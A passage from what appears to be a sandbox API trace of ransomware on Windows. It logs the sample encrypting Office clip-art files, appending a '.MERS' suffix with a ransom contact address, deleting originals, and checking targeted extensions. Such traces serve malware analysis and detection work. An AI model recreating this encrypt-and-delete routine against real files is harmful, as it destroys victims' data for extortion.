lpNumberOfBytesWritten=0x2befc9c*=0x4130, lpOverlapped=0x0) returned 1 [0270.776] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0270.776] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.776] SetEndOfFile (hFile=0x3f4) returned 1 [0270.776] CloseHandle (hObject=0x3f4) returned 1 [0270.776] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.776] SetEndOfFile (hFile=0x3d0) returned 1 [0270.778] CloseHandle (hObject=0x3d0) returned 1 [0270.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0270.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".doc") returned 4 [0270.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString=".docx") returned 5 [0270.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.779] lstrlenW (lpString=".pdf") returned 4 [0270.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString=".xls") returned 4 [0270.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.779] lstrlenW (lpString=".xlsx") returned 5 [0270.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.779] lstrlenW (lpString=".ppt") returned 4 [0270.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".zip") returned 4 [0270.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.779] lstrlenW (lpString=".rar") returned 4 [0270.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString=".bz2") returned 4 [0270.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString=".7z") returned 3 [0270.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".dbf") returned 4 [0270.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".1cd") returned 4 [0270.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".jpg") returned 4 [0270.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.779] lstrlenW (lpString=".doc") returned 4 [0270.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString=".docx") returned 5 [0270.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.780] lstrlenW (lpString=".pdf") returned 4 [0270.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString=".xls") returned 4 [0270.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.780] lstrlenW (lpString=".xlsx") returned 5 [0270.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.780] lstrlenW (lpString=".ppt") returned 4 [0270.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.780] lstrlenW (lpString=".zip") returned 4 [0270.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.780] lstrlenW (lpString=".rar") returned 4 [0270.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString=".bz2") returned 4 [0270.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString=".7z") returned 3 [0270.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.780] lstrlenW (lpString=".dbf") returned 4 [0270.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.780] lstrlenW (lpString=".1cd") returned 4 [0270.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0270.780] lstrlenW (lpString=".jpg") returned 4 [0270.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.780] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.781] lstrlenW (lpString="BD08808_.WMF") returned 12 [0270.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.781] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=47996) returned 1 [0270.781] CloseHandle (hObject=0x3d0) returned 1 [0270.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0270.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.781] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.781] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0270.782] GetLastError () returned 0x0 [0270.782] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0270.811] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0270.819] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0270.819] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.819] SetEndOfFile (hFile=0x3f4) returned 1 [0270.819] CloseHandle (hObject=0x3f4) returned 1 [0270.819] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.819] SetEndOfFile (hFile=0x3d0) returned 1 [0270.821] CloseHandle (hObject=0x3d0) returned 1 [0270.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0270.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.959] lstrlenW (lpString=".doc") returned 4 [0270.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.959] lstrlenW (lpString=".docx") returned 5 [0270.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.959] lstrlenW (lpString=".pdf") returned 4 [0270.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.959] lstrlenW (lpString=".xls") returned 4 [0270.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.959] lstrlenW (lpString=".xlsx") returned 5 [0270.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.959] lstrlenW (lpString=".ppt") returned 4 [0270.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.959] lstrlenW (lpString=".zip") returned 4 [0270.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.960] lstrlenW (lpString=".rar") returned 4 [0270.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString=".bz2") returned 4 [0270.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString=".7z") returned 3 [0270.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.960] lstrlenW (lpString=".dbf") returned 4 [0270.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.960] lstrlenW (lpString=".1cd") returned 4 [0270.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.960] lstrlenW (lpString=".jpg") returned 4 [0270.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.960] lstrlenW (lpString=".doc") returned 4 [0270.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString=".docx") returned 5 [0270.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.960] lstrlenW (lpString=".pdf") returned 4 [0270.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.960] lstrlenW (lpString=".xls") returned 4 [0270.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.961] lstrlenW (lpString=".xlsx") returned 5 [0270.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.961] lstrlenW (lpString=".ppt") returned 4 [0270.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.961] lstrlenW (lpString=".zip") returned 4 [0270.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.961] lstrlenW (lpString=".rar") returned 4 [0270.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.961] lstrlenW (lpString=".bz2") returned 4 [0270.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.961] lstrlenW (lpString=".7z") returned 3 [0270.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.961] lstrlenW (lpString=".dbf") returned 4 [0270.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.961] lstrlenW (lpString=".1cd") returned 4 [0270.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0270.961] lstrlenW (lpString=".jpg") returned 4 [0270.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.962] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.962] lstrlenW (lpString="BD09662_.WMF") returned 12 [0270.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.962] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=20554) returned 1 [0270.962] CloseHandle (hObject=0x418) returned 1 [0270.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0270.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.963] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.963] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.963] GetLastError () returned 0x0 [0270.963] ReadFile (in: hFile=0x418, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x504a, lpOverlapped=0x0) returned 1 [0271.102] WriteFile (in: hFile=0x3ec, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x5050, lpOverlapped=0x0) returned 1 [0271.104] ReadFile (in: hFile=0x418, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0271.104] WriteFile (in: hFile=0x3ec, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.104] SetEndOfFile (hFile=0x3ec) returned 1 [0271.105] CloseHandle (hObject=0x3ec) returned 1 [0271.105] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.105] SetEndOfFile (hFile=0x418) returned 1 [0271.107] CloseHandle (hObject=0x418) returned 1 [0271.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0271.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.130] lstrlenW (lpString=".doc") returned 4 [0271.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.130] lstrlenW (lpString=".docx") returned 5 [0271.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.130] lstrlenW (lpString=".pdf") returned 4 [0271.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.130] lstrlenW (lpString=".xls") returned 4 [0271.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.130] lstrlenW (lpString=".xlsx") returned 5 [0271.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.130] lstrlenW (lpString=".ppt") returned 4 [0271.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString=".zip") returned 4 [0271.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.131] lstrlenW (lpString=".rar") returned 4 [0271.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString=".bz2") returned 4 [0271.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString=".7z") returned 3 [0271.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString=".dbf") returned 4 [0271.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString=".1cd") returned 4 [0271.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString=".jpg") returned 4 [0271.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.131] lstrlenW (lpString=".doc") returned 4 [0271.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString=".docx") returned 5 [0271.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.131] lstrlenW (lpString=".pdf") returned 4 [0271.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString=".xls") returned 4 [0271.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.131] lstrlenW (lpString=".xlsx") returned 5 [0271.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.131] lstrlenW (lpString=".ppt") returned 4 [0271.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.132] lstrlenW (lpString=".zip") returned 4 [0271.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.132] lstrlenW (lpString=".rar") returned 4 [0271.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.132] lstrlenW (lpString=".bz2") returned 4 [0271.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.132] lstrlenW (lpString=".7z") returned 3 [0271.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.132] lstrlenW (lpString=".dbf") returned 4 [0271.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.132] lstrlenW (lpString=".1cd") returned 4 [0271.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0271.132] lstrlenW (lpString=".jpg") returned 4 [0271.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.132] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0271.132] lstrlenW (lpString="BD19582_.GIF") returned 12 [0271.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.135] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=15733) returned 1 [0271.135] CloseHandle (hObject=0x3b4) returned 1 [0271.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0271.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.135] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.135] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.143] GetLastError () returned 0x0 [0271.143] ReadFile (in: hFile=0x3b4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x3d75, lpOverlapped=0x0) returned 1 [0271.283] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0271.283] ReadFile (in: hFile=0x3b4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0271.283] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.284] SetEndOfFile (hFile=0x360) returned 1 [0271.284] CloseHandle (hObject=0x360) returned 1 [0271.284] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 